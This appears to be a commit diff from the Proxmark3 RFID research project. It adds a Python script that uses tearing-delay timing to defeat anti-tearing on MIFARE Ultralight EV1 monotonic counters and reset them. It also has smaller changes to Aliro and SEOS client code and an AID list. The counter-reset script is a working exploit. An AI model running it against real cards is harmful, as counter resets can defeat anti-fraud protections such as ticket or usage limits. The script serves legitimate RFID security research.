mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2026-05-12 11:18:11 -07:00
Merge branch 'master' into master
Signed-off-by: Iceman <iceman@iuse.se>
This commit is contained in:
@@ -10,7 +10,7 @@ local logfilecmd
|
||||
if package.config:sub(1,1) == "\\" then
|
||||
logfilecmd = 'dir /a-d /o-d /tw /b/s "' .. dir .. '" 2>nul:'
|
||||
else
|
||||
logfilecmd = 'find "' .. dir .. '" -type f -printf "%T@ %p\\n" | sort -nr | cut -d" " -f2-'
|
||||
logfilecmd = 'find "' .. dir .. '" -type f | sort -nr | cut -d" " -f2-'
|
||||
end
|
||||
|
||||
local logfile = (io.popen(logfilecmd):read("*a"):match("%C+"))
|
||||
|
||||
@@ -0,0 +1,224 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
#-----------------------------------------------------------------------------
|
||||
# Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# See LICENSE.txt for the text of the license.
|
||||
#-----------------------------------------------------------------------------
|
||||
# This script bypasses the Anti-Tearing protection on MIFARE Ultralight EV1 monotonic counters and allows resetting the counter value
|
||||
# Script version: 1.0.0
|
||||
# Created by W0rthlessS0ul (https://github.com/W0rthlessS0ul)
|
||||
# Based on Quarkslab research: https://blog.quarkslab.com/rfid-monotonic-counter-anti-tearing-defeated.html
|
||||
#-----------------------------------------------------------------------------
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import os
|
||||
import pm3
|
||||
|
||||
try:
|
||||
from colors import color
|
||||
except ModuleNotFoundError:
|
||||
def color(s, fg=None):
|
||||
_ = fg
|
||||
return str(s)
|
||||
|
||||
p = pm3.pm3()
|
||||
|
||||
ProgramName = os.path.basename(sys.argv[0])
|
||||
attempt = 0
|
||||
byte = 1
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
formatter_class=argparse.RawTextHelpFormatter,
|
||||
prog=color(f"\n script run {ProgramName}", "red"),
|
||||
epilog=color(f"examples:\n", "green") + color(f" script run {ProgramName} -c 0\n script run {ProgramName} -c 0 -i 25\n script run {ProgramName} -c 0 -i 25 -f True\n script run {ProgramName} -c 0 -i 25 -f True --BD 2350 --00 225", "yellow")
|
||||
)
|
||||
parser.add_argument('-c', '--cnt', metavar='', type=str, default='0', help='Counter index')
|
||||
parser.add_argument('-i', '--inc', metavar='', type=int, default=25, help='Increase time steps')
|
||||
parser.add_argument('-f', '--force', metavar='', type=bool, help='Force start without checking')
|
||||
parser.add_argument('--DelayBD', metavar='', type=int, help='Manual adjustment of BD delay (disables auto-configuring)')
|
||||
parser.add_argument('--Delay00', metavar='', type=int, help='Manual adjustment of 00 delay (disables auto-configuring)')
|
||||
|
||||
if '-h' in sys.argv or '--help' in sys.argv:
|
||||
help_text = parser.format_help()
|
||||
help_text = help_text.replace("usage:", f"\n{color('Counter reset of Mifare UL EV1 cards', 'cyan')}\n\nusage:")
|
||||
help_text = help_text.replace("options:", color("options:", "green")).replace("usage:", color("usage:", "green"))
|
||||
print(help_text)
|
||||
sys.exit(0)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
counter_number = args.cnt
|
||||
|
||||
def read_counter(counter_numb):
|
||||
p.console(f"hf 14a raw -s -c 39 0{counter_numb}", capture=True)
|
||||
counter = str(p.grabbed_output).split(" [ ")[0].replace("[+] ", "").replace(" ", "").lower()
|
||||
counter_bytes = bytes.fromhex(counter)
|
||||
counter_int = int.from_bytes(counter_bytes, byteorder='little')
|
||||
return counter, counter_int
|
||||
|
||||
def enable_tearoff(delay):
|
||||
p.console(f"hw tearoff --delay {delay}")
|
||||
p.console("hw tearoff --on", capture=True)
|
||||
if str(p.grabbed_output).find("enabled") >= 0:
|
||||
return True
|
||||
return False
|
||||
|
||||
def incr_cnt(counter_numb, StrBytes):
|
||||
p.console(f"hf 14a raw -s -c A5 0{counter_numb} {StrBytes} 00")
|
||||
p.grabbed_output
|
||||
|
||||
def check_tearing_event(counter_numb):
|
||||
p.console(f"hf 14a raw -s -c 3E 0{counter_numb}", capture=True)
|
||||
tearing = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ")[0]
|
||||
if tearing == "BD":
|
||||
return True, tearing
|
||||
return False, tearing
|
||||
|
||||
def some_tests(counter_numb):
|
||||
try:
|
||||
p.console(f"hf 14a raw -s -c 60", capture=True)
|
||||
info = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ")
|
||||
if info[4] != "01":
|
||||
print(f"[{color('!', 'red')}] Support only EV1 versions")
|
||||
return False
|
||||
except:
|
||||
print(f"[{color('!', 'red')}] Support only Mifare UL EV1 cards")
|
||||
return False
|
||||
|
||||
tearing = check_tearing_event(counter_number)[1]
|
||||
if tearing != "00" and tearing != "BD":
|
||||
print(f"[{color('!', 'red')}] Looks like you're card doesn't support CHECK_TEARING_EVENT")
|
||||
return False
|
||||
|
||||
counter_str, counter = read_counter(counter_number)
|
||||
if counter == 16777215:
|
||||
print(f"[{color('!', 'red')}] The counter value is at its maximum, it cannot be reset")
|
||||
return False
|
||||
elif counter == 0:
|
||||
print(f"[{color('!', 'red')}] The counter value is already at the minimum level")
|
||||
return False
|
||||
|
||||
if counter_str[:4] == "0000":
|
||||
print(f"\n[{color('+', 'green')}] First two bytes set to 00, skip")
|
||||
byte = 3
|
||||
elif counter_str[:2] == "00":
|
||||
print(f"\n[{color('+', 'green')}] First byte set to 00, skip")
|
||||
byte = 2
|
||||
|
||||
return True
|
||||
|
||||
if __name__ == "__main__":
|
||||
if not args.force and not some_tests(counter_number):
|
||||
print(f"[{color('?', 'goldenrod')}] Try `{color(f'script run {ProgramName} -f True', 'goldenrod')}` if this is a script bug", end="")
|
||||
sys.exit(0)
|
||||
|
||||
if args.DelayBD == None:
|
||||
for Delay_BD in range(1000, 5000, args.inc):
|
||||
initial_counter_str, initial_counter_int = read_counter(counter_number)
|
||||
enable_tearoff(Delay_BD)
|
||||
incr_cnt(counter_number, "010000")
|
||||
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
|
||||
final_counter_str, final_counter_int = read_counter(counter_number)
|
||||
print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_BD, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'red') if not check_tearing else color(check_tearing_clear, 'green')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True)
|
||||
if final_counter_int > initial_counter_int and check_tearing:
|
||||
print(f"\n[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us")
|
||||
break
|
||||
else:
|
||||
Delay_BD = args.DelayBD
|
||||
print(f"[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us")
|
||||
if args.Delay00 == None:
|
||||
for Delay_00 in range(100, 1000, args.inc):
|
||||
initial_counter_str, initial_counter_int = read_counter(counter_number)
|
||||
enable_tearoff(Delay_00)
|
||||
incr_cnt(counter_number, "000000")
|
||||
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
|
||||
final_counter_str, final_counter_int = read_counter(counter_number)
|
||||
print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'green') if not check_tearing else color(check_tearing_clear, 'red')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True)
|
||||
if not check_tearing:
|
||||
print(f"\n[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us")
|
||||
incr_cnt(counter_number, "000000")
|
||||
break
|
||||
else:
|
||||
Delay_00 = args.Delay00
|
||||
print(f"[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us")
|
||||
|
||||
constant_counter_int = read_counter(counter_number)[1]
|
||||
while True:
|
||||
initial_counter_str, initial_counter_int = read_counter(counter_number)
|
||||
|
||||
enable_tearoff(Delay_BD)
|
||||
match byte:
|
||||
case 1:
|
||||
incr_cnt(counter_number, "010000")
|
||||
case 2:
|
||||
incr_cnt(counter_number, "000100")
|
||||
case 3:
|
||||
incr_cnt(counter_number, "000001")
|
||||
enable_tearoff(Delay_00)
|
||||
incr_cnt(counter_number, "000000")
|
||||
|
||||
final_counter_str, final_counter_int = read_counter(counter_number)
|
||||
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
|
||||
|
||||
attempt+=1
|
||||
print(f"\r[{color('=', 'goldenrod')}] Attempt: {color(attempt, 'green')} | Delay BD/00: {color(Delay_BD, 'yellow')}/{color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'yellow')} | Counter changing: {color(initial_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(initial_counter_str.upper(), 'green')}==>{color(final_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(final_counter_str.upper(), 'green')}", end="", flush=True)
|
||||
|
||||
if attempt % 20 == 0 and constant_counter_int == final_counter_int:
|
||||
Delay_BD+=5
|
||||
constant_counter_int = final_counter_int
|
||||
print(f"\n[{color('=', 'goldenrod')}] BD delay increased {color(Delay_BD, 'green')}")
|
||||
elif attempt % 20 == 0 and final_counter_int - constant_counter_int > 10:
|
||||
Delay_BD-=5
|
||||
constant_counter_int = final_counter_int
|
||||
print(f"\n[{color('=', 'goldenrod')}] BD delay reduced {color(Delay_BD, 'red')}")
|
||||
|
||||
if attempt % 5 == 0 and check_tearing:
|
||||
Delay_00+=5
|
||||
print(f"\n[{color('=', 'goldenrod')}] 00 delay increased {color(Delay_00, 'green')}")
|
||||
|
||||
if attempt % 20 == 0: constant_counter_int = final_counter_int
|
||||
|
||||
if final_counter_int < initial_counter_int and final_counter_str[:2] == "00" and byte == 1:
|
||||
if final_counter_str[-4:] == "0000":
|
||||
print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00")
|
||||
byte = 4
|
||||
elif final_counter_str[-4:][:2] == "00":
|
||||
print(f"\n[{color('+', 'green')}] Exploit successfull, first two bytes set to 00")
|
||||
byte = 3
|
||||
else:
|
||||
print(f"\n[{color('+', 'green')}] Exploit successfull, first byte set to 00")
|
||||
byte = 2
|
||||
elif final_counter_int < initial_counter_int and final_counter_str[-4:][:2] == "00" and byte == 2:
|
||||
if final_counter_str[-2:] == "00":
|
||||
print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00")
|
||||
byte = 4
|
||||
else:
|
||||
print(f"\n[{color('+', 'green')}] Exploit successfull, second byte set to 00")
|
||||
byte = 3
|
||||
elif final_counter_int < initial_counter_int and final_counter_str[-2:] == "00" and byte == 3:
|
||||
print(f"\n[{color('+', 'green')}] Exploit successfull, third byte set to 00")
|
||||
byte = 4
|
||||
|
||||
if byte == 4:
|
||||
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
|
||||
if not check_tearing:
|
||||
print(f"\n[{color('#', 'blue')}] Check tearing: {color(check_tearing_clear, 'red')}\n[{color('=', 'goldenrod')}] Copying slot A to B")
|
||||
while not check_tearing:
|
||||
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
|
||||
incr_cnt(counter_number, "000000")
|
||||
print(f"[{color('+', 'green')}] Check tearing: {color(check_tearing_clear, 'green')}")
|
||||
|
||||
print(f"\n[{color('+', 'green')}] Exploit successfull\n[{color('=', 'goldenrod')}] - Initial counter: {initial_counter_str.upper()}\n[{color('=', 'goldenrod')}] - Final counter: {color(final_counter_str.upper(), 'green')}\n[{color('=', 'goldenrod')}] - Counter changing: {initial_counter_int - final_counter_int}\n[{color('=', 'goldenrod')}] - Check tearing: {color(check_tearing_clear, 'green')}", end="")
|
||||
sys.exit(0)
|
||||
@@ -2447,12 +2447,20 @@
|
||||
"Description": "Used by both by physical cards and mobile implementations",
|
||||
"Type": "access"
|
||||
},
|
||||
{
|
||||
"AID": "A0000004400001010001000002",
|
||||
"Vendor": "HID Global",
|
||||
"Country": "",
|
||||
"Name": "SEOS Mobile",
|
||||
"Description": "Declared by some SEOS-compatible HID partner applications for HCE",
|
||||
"Type": "access"
|
||||
},
|
||||
{
|
||||
"AID": "A00000054000060100010000FF",
|
||||
"Vendor": "HID Global",
|
||||
"Country": "",
|
||||
"Name": "SEOS Mobile",
|
||||
"Description": "Declared by some SEOS-compatible applications for HCE",
|
||||
"Description": "Declared by some SEOS-compatible HID partner applications for HCE",
|
||||
"Type": "access"
|
||||
},
|
||||
{
|
||||
@@ -2502,5 +2510,21 @@
|
||||
"Name": "Crescendo OATH #2",
|
||||
"Description": "HID Crescendo Key OATH instance 2",
|
||||
"Type": "access"
|
||||
},
|
||||
{
|
||||
"AID": "FF55494420414343455353",
|
||||
"Vendor": "UniFi",
|
||||
"Country": "",
|
||||
"Name": "UniFi Access HCE Credential",
|
||||
"Description": "Declared as 'other' service",
|
||||
"Type": "access"
|
||||
},
|
||||
{
|
||||
"AID": "FF55494420414343455356",
|
||||
"Vendor": "UniFi",
|
||||
"Country": "",
|
||||
"Name": "UniFi Access HCE Credential",
|
||||
"Description": "Declared as 'payment' service",
|
||||
"Type": "access"
|
||||
}
|
||||
]
|
||||
|
||||
+136
-24
@@ -59,6 +59,8 @@ static const uint8_t ALIRO_SECURE_CHANNEL_DEVICE_MODE[] = {0, 0, 0, 0, 0, 0, 0,
|
||||
static const uint8_t ALIRO_NFC_INTERFACE_BYTE = 0x5E;
|
||||
static const uint8_t ALIRO_AUTH0_DEFAULT_POLICY = 0x01;
|
||||
static const uint8_t ALIRO_AUTH1_REQUEST_PUBLIC_KEY = 0x01;
|
||||
static const uint8_t ALIRO_EXCHANGE_INS = 0xC9;
|
||||
static const uint8_t ALIRO_READER_STATUS_STATE_UNSECURE[] = {0x01, 0x01}; // UNSECURE means "opened"
|
||||
static const char ALIRO_DEFAULT_STEP_UP_SCOPE[] = "matter1";
|
||||
|
||||
#define ALIRO_MAX_BUFFER 2048
|
||||
@@ -172,6 +174,13 @@ typedef struct {
|
||||
aliro_derived_keys_t keys;
|
||||
} aliro_standard_result_t;
|
||||
|
||||
typedef struct {
|
||||
const uint8_t (*sk_reader)[32];
|
||||
uint32_t reader_counter;
|
||||
const uint8_t (*sk_device)[32];
|
||||
uint32_t device_counter;
|
||||
} aliro_secure_channel_state_t;
|
||||
|
||||
typedef struct {
|
||||
aliro_select_info_t select_info;
|
||||
uint8_t protocol_version[2];
|
||||
@@ -188,11 +197,19 @@ typedef struct {
|
||||
aliro_fast_result_t fast_result;
|
||||
aliro_auth1_response_t auth1_parsed;
|
||||
aliro_standard_result_t standard_result;
|
||||
aliro_secure_channel_state_t expedited_secure_channel;
|
||||
aliro_secure_channel_state_t step_up_secure_channel;
|
||||
} aliro_read_state_t;
|
||||
|
||||
static int CmdHelp(const char *Cmd);
|
||||
static const char *aliro_cbor_type_name(CborType type);
|
||||
static bool aliro_cbor_print_scalar(const char *label, const CborValue *value);
|
||||
static int aliro_secure_channel_encrypt_reader_payload(aliro_secure_channel_state_t *channel,
|
||||
const uint8_t *plaintext, size_t plaintext_len,
|
||||
uint8_t *ciphertext, size_t ciphertext_max, size_t *ciphertext_len);
|
||||
static int aliro_secure_channel_decrypt_device_payload(aliro_secure_channel_state_t *channel,
|
||||
const uint8_t *ciphertext, size_t ciphertext_len,
|
||||
uint8_t *plaintext, size_t plaintext_max, size_t *plaintext_len);
|
||||
|
||||
static const char *get_aliro_application_type_name(uint16_t type) {
|
||||
for (size_t i = 0; i < ARRAYLEN(aliro_application_type_map); ++i) {
|
||||
@@ -1609,6 +1626,10 @@ aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_da
|
||||
PrintAndLogEx(INFO, " Fast BleSKReader.......... %s", sprint_hex_inrow(state->fast_result.keys.ble_sk_reader, 32));
|
||||
PrintAndLogEx(INFO, " Fast BleSKDevice.......... %s", sprint_hex_inrow(state->fast_result.keys.ble_sk_device, 32));
|
||||
PrintAndLogEx(INFO, " Fast URSK................. %s", sprint_hex_inrow(state->fast_result.keys.ursk, 32));
|
||||
state->expedited_secure_channel.sk_reader = &state->fast_result.keys.exchange_sk_reader;
|
||||
state->expedited_secure_channel.reader_counter = 1;
|
||||
state->expedited_secure_channel.sk_device = &state->fast_result.keys.exchange_sk_device;
|
||||
state->expedited_secure_channel.device_counter = 1;
|
||||
if (flow == ALIRO_FLOW_FAST) {
|
||||
*fast_flow_complete = true;
|
||||
return PM3_SUCCESS;
|
||||
@@ -1665,6 +1686,15 @@ static int aliro_read_prepare_auth1_keys(aliro_read_state_t *state,
|
||||
state->standard_result.keys.kpersistent_present = false;
|
||||
memset(state->standard_result.keys.kpersistent, 0, sizeof(state->standard_result.keys.kpersistent));
|
||||
|
||||
state->expedited_secure_channel.sk_reader = &state->standard_result.keys.exchange_sk_reader;
|
||||
state->expedited_secure_channel.reader_counter = 1;
|
||||
state->expedited_secure_channel.sk_device = &state->standard_result.keys.exchange_sk_device;
|
||||
state->expedited_secure_channel.device_counter = 1;
|
||||
state->step_up_secure_channel.sk_reader = &state->standard_result.keys.step_up_sk_reader;
|
||||
state->step_up_secure_channel.reader_counter = 1;
|
||||
state->step_up_secure_channel.sk_device = &state->standard_result.keys.step_up_sk_device;
|
||||
state->step_up_secure_channel.device_counter = 1;
|
||||
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -1739,18 +1769,17 @@ aliro_append_tlv(0x9E, auth1_signature, 64,
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
uint8_t auth1_iv[12] = {0};
|
||||
aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, 1, auth1_iv);
|
||||
|
||||
uint8_t auth1_plain[ALIRO_MAX_BUFFER] = {0};
|
||||
res = aliro_aes_gcm_decrypt(state->standard_result.keys.exchange_sk_device, auth1_iv, sizeof(auth1_iv),
|
||||
auth1_response_enc, auth1_response_enc_len, auth1_plain);
|
||||
size_t auth1_plain_len = 0;
|
||||
res = aliro_secure_channel_decrypt_device_payload(&state->expedited_secure_channel,
|
||||
auth1_response_enc, auth1_response_enc_len,
|
||||
auth1_plain, sizeof(auth1_plain),
|
||||
&auth1_plain_len);
|
||||
if (res != PM3_SUCCESS) {
|
||||
PrintAndLogEx(ERR, "Failed to decrypt AUTH1 response");
|
||||
return res;
|
||||
}
|
||||
|
||||
size_t auth1_plain_len = auth1_response_enc_len - 16;
|
||||
res = aliro_parse_auth1_plaintext(auth1_plain, auth1_plain_len, &state->auth1_parsed);
|
||||
if (res != PM3_SUCCESS) {
|
||||
return res;
|
||||
@@ -2010,29 +2039,29 @@ static void aliro_print_step_up_scopes(const aliro_step_up_scopes_t *scopes) {
|
||||
PrintAndLogEx(INFO, "Step-up scopes............ %s", joined);
|
||||
}
|
||||
|
||||
static int aliro_secure_channel_encrypt_reader_payload(const uint8_t sk_reader[32], uint32_t *reader_counter,
|
||||
static int aliro_secure_channel_encrypt_reader_payload(aliro_secure_channel_state_t *channel,
|
||||
const uint8_t *plaintext, size_t plaintext_len,
|
||||
uint8_t *ciphertext, size_t ciphertext_max, size_t *ciphertext_len) {
|
||||
if (sk_reader == NULL || reader_counter == NULL || plaintext == NULL ||
|
||||
if (channel == NULL || channel->sk_reader == NULL || plaintext == NULL ||
|
||||
ciphertext == NULL || ciphertext_len == NULL) {
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
uint8_t iv[12] = {0};
|
||||
aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_READER_MODE, *reader_counter, iv);
|
||||
int res = aliro_aes_gcm_encrypt(sk_reader, iv, sizeof(iv),
|
||||
aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_READER_MODE, channel->reader_counter, iv);
|
||||
int res = aliro_aes_gcm_encrypt(*channel->sk_reader, iv, sizeof(iv),
|
||||
plaintext, plaintext_len,
|
||||
ciphertext, ciphertext_max, ciphertext_len);
|
||||
if (res == PM3_SUCCESS) {
|
||||
(*reader_counter)++;
|
||||
channel->reader_counter++;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
static int aliro_secure_channel_decrypt_device_payload(const uint8_t sk_device[32], uint32_t *device_counter,
|
||||
static int aliro_secure_channel_decrypt_device_payload(aliro_secure_channel_state_t *channel,
|
||||
const uint8_t *ciphertext, size_t ciphertext_len,
|
||||
uint8_t *plaintext, size_t plaintext_max, size_t *plaintext_len) {
|
||||
if (sk_device == NULL || device_counter == NULL || ciphertext == NULL ||
|
||||
if (channel == NULL || channel->sk_device == NULL || ciphertext == NULL ||
|
||||
plaintext == NULL || plaintext_len == NULL) {
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
@@ -2041,15 +2070,84 @@ static int aliro_secure_channel_decrypt_device_payload(const uint8_t sk_device[3
|
||||
}
|
||||
|
||||
uint8_t iv[12] = {0};
|
||||
aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, *device_counter, iv);
|
||||
int res = aliro_aes_gcm_decrypt(sk_device, iv, sizeof(iv), ciphertext, ciphertext_len, plaintext);
|
||||
aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, channel->device_counter, iv);
|
||||
int res = aliro_aes_gcm_decrypt(*channel->sk_device, iv, sizeof(iv), ciphertext, ciphertext_len, plaintext);
|
||||
if (res == PM3_SUCCESS) {
|
||||
(*device_counter)++;
|
||||
channel->device_counter++;
|
||||
*plaintext_len = ciphertext_len - 16;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
static int aliro_send_reader_status_exchange(aliro_secure_channel_state_t *channel,
|
||||
const uint8_t reader_status[2]) {
|
||||
if (channel == NULL || channel->sk_reader == NULL ||
|
||||
channel->sk_device == NULL || reader_status == NULL) {
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
PrintAndLogEx(INFO, "");
|
||||
PrintAndLogInfoHeader("EXCHANGE");
|
||||
|
||||
uint8_t status_plaintext[8] = {0};
|
||||
size_t status_plaintext_len = 0;
|
||||
int res = aliro_append_tlv(0x97, reader_status, 2,
|
||||
status_plaintext, sizeof(status_plaintext), &status_plaintext_len);
|
||||
if (res != PM3_SUCCESS) {
|
||||
PrintAndLogEx(ERR, "Failed to encode EXCHANGE reader status payload");
|
||||
return res;
|
||||
}
|
||||
|
||||
uint8_t status_ciphertext[ALIRO_MAX_BUFFER] = {0};
|
||||
size_t status_ciphertext_len = 0;
|
||||
res = aliro_secure_channel_encrypt_reader_payload(channel,
|
||||
status_plaintext, status_plaintext_len,
|
||||
status_ciphertext, sizeof(status_ciphertext),
|
||||
&status_ciphertext_len);
|
||||
if (res != PM3_SUCCESS) {
|
||||
PrintAndLogEx(ERR, "Failed to encrypt EXCHANGE reader status payload");
|
||||
return res;
|
||||
}
|
||||
|
||||
uint8_t exchange_response[ALIRO_MAX_BUFFER] = {0};
|
||||
size_t exchange_response_len = 0;
|
||||
uint16_t exchange_sw = 0;
|
||||
res = aliro_exchange_chained(false, true, 0x80, ALIRO_EXCHANGE_INS, 0x00, 0x00,
|
||||
status_ciphertext, status_ciphertext_len,
|
||||
exchange_response, sizeof(exchange_response),
|
||||
&exchange_response_len, &exchange_sw);
|
||||
if (res != PM3_SUCCESS) {
|
||||
PrintAndLogEx(ERR, "Reader status EXCHANGE APDU exchange failed");
|
||||
return res;
|
||||
}
|
||||
|
||||
if (exchange_sw != ISO7816_OK) {
|
||||
PrintAndLogEx(ERR, "Reader status EXCHANGE failed: %04x - %s",
|
||||
exchange_sw, GetAPDUCodeDescription(exchange_sw >> 8, exchange_sw & 0xff));
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
PrintAndLogEx(INFO, "Reader status EXCHANGE.... %04x", exchange_sw);
|
||||
if (exchange_response_len == 0) {
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
uint8_t response_plaintext[ALIRO_MAX_BUFFER] = {0};
|
||||
size_t response_plaintext_len = 0;
|
||||
res = aliro_secure_channel_decrypt_device_payload(channel,
|
||||
exchange_response, exchange_response_len,
|
||||
response_plaintext, sizeof(response_plaintext),
|
||||
&response_plaintext_len);
|
||||
if (res != PM3_SUCCESS) {
|
||||
PrintAndLogEx(ERR, "Failed to decrypt reader status EXCHANGE response");
|
||||
return res;
|
||||
}
|
||||
if (response_plaintext_len > 0) {
|
||||
PrintAndLogEx(INFO, "Reader status response.... %s",
|
||||
sprint_hex_inrow(response_plaintext, response_plaintext_len));
|
||||
}
|
||||
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static bool aliro_cbor_key_equals(const CborValue *key, int int_key, const char *text_key) {
|
||||
if (key == NULL) {
|
||||
return false;
|
||||
@@ -3243,11 +3341,15 @@ static int aliro_step_up_print_device_response(const uint8_t *device_response, s
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int aliro_read_do_step_up(const aliro_read_state_t *state,
|
||||
static int aliro_read_do_step_up(aliro_read_state_t *state,
|
||||
const aliro_step_up_scopes_t *step_up_scopes) {
|
||||
if (state == NULL || step_up_scopes == NULL) {
|
||||
if (state == NULL || step_up_scopes == NULL ||
|
||||
state->step_up_secure_channel.sk_reader == NULL ||
|
||||
state->step_up_secure_channel.sk_device == NULL) {
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
aliro_secure_channel_state_t *step_up_channel = &state->step_up_secure_channel;
|
||||
|
||||
if (!state->standard_result.keys.step_up_keys_present) {
|
||||
PrintAndLogEx(ERR, "Step-up keys are not available");
|
||||
return PM3_ESOFT;
|
||||
@@ -3314,12 +3416,9 @@ static int aliro_read_do_step_up(const aliro_read_state_t *state,
|
||||
}
|
||||
PrintAndLogEx(INFO, "DeviceRequest CBOR........ %s", sprint_hex_inrow(device_request, device_request_len));
|
||||
|
||||
uint32_t step_up_reader_counter = 1;
|
||||
uint32_t step_up_device_counter = 1;
|
||||
uint8_t encrypted_device_request[ALIRO_MAX_BUFFER] = {0};
|
||||
size_t encrypted_device_request_len = 0;
|
||||
res = aliro_secure_channel_encrypt_reader_payload(state->standard_result.keys.step_up_sk_reader,
|
||||
&step_up_reader_counter,
|
||||
res = aliro_secure_channel_encrypt_reader_payload(step_up_channel,
|
||||
device_request, device_request_len,
|
||||
encrypted_device_request, sizeof(encrypted_device_request),
|
||||
&encrypted_device_request_len);
|
||||
@@ -3386,8 +3485,7 @@ static int aliro_read_do_step_up(const aliro_read_state_t *state,
|
||||
|
||||
uint8_t device_response_plaintext[ALIRO_MAX_BUFFER] = {0};
|
||||
size_t device_response_plaintext_len = 0;
|
||||
res = aliro_secure_channel_decrypt_device_payload(state->standard_result.keys.step_up_sk_device,
|
||||
&step_up_device_counter,
|
||||
res = aliro_secure_channel_decrypt_device_payload(step_up_channel,
|
||||
encrypted_device_response, encrypted_device_response_len,
|
||||
device_response_plaintext, sizeof(device_response_plaintext),
|
||||
&device_response_plaintext_len);
|
||||
@@ -3450,6 +3548,11 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l
|
||||
break;
|
||||
}
|
||||
if (fast_flow_complete) {
|
||||
res = aliro_send_reader_status_exchange(&state.expedited_secure_channel,
|
||||
ALIRO_READER_STATUS_STATE_UNSECURE);
|
||||
if (res != PM3_SUCCESS) {
|
||||
PrintAndLogEx(WARNING, "Completion EXCHANGE failed after fast auth; continuing");
|
||||
}
|
||||
status = PM3_SUCCESS;
|
||||
break;
|
||||
}
|
||||
@@ -3478,6 +3581,15 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l
|
||||
break;
|
||||
}
|
||||
}
|
||||
aliro_secure_channel_state_t *completion_channel = (flow == ALIRO_FLOW_STEP_UP)
|
||||
? &state.step_up_secure_channel
|
||||
: &state.expedited_secure_channel;
|
||||
const char *completion_flow_name = (flow == ALIRO_FLOW_STEP_UP) ? "step-up" : "expedited";
|
||||
res = aliro_send_reader_status_exchange(completion_channel,
|
||||
ALIRO_READER_STATUS_STATE_UNSECURE);
|
||||
if (res != PM3_SUCCESS) {
|
||||
PrintAndLogEx(WARNING, "Completion EXCHANGE failed after %s auth; continuing", completion_flow_name);
|
||||
}
|
||||
|
||||
status = PM3_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
+192
-130
File diff suppressed because it is too large
Load Diff
@@ -92,8 +92,8 @@ static const known_algo_t known_algorithm_map[] = {
|
||||
};
|
||||
|
||||
static const char *known_seos_aids[] = {
|
||||
"A0000004400001010001",
|
||||
"A000000382002D000101",
|
||||
"A0000004400001010001", // STANDARD_SEOS
|
||||
"A000000382002D000101", // MOBILE_SEOS_ADMIN_CARD
|
||||
};
|
||||
|
||||
static int seos_get_custom_aid(CLIParserContext *ctx, int arg_index, uint8_t *aid, int *aid_len) {
|
||||
@@ -1651,11 +1651,6 @@ static int seos_load_keys(char *filename) {
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
int infoSeos(bool verbose, int privacy_key_index, int auth_key_index) {
|
||||
(void)verbose;
|
||||
return seos_select(NULL, 0, privacy_key_index, auth_key_index);
|
||||
}
|
||||
|
||||
static int CmdHfSeosInfo(const char *Cmd) {
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf seos info",
|
||||
|
||||
@@ -22,7 +22,6 @@
|
||||
#include "common.h"
|
||||
#include "seos_cmd.h"
|
||||
|
||||
int infoSeos(bool verbose, int privacy_key_index, int auth_key_index);
|
||||
int CmdHFSeos(const char *Cmd);
|
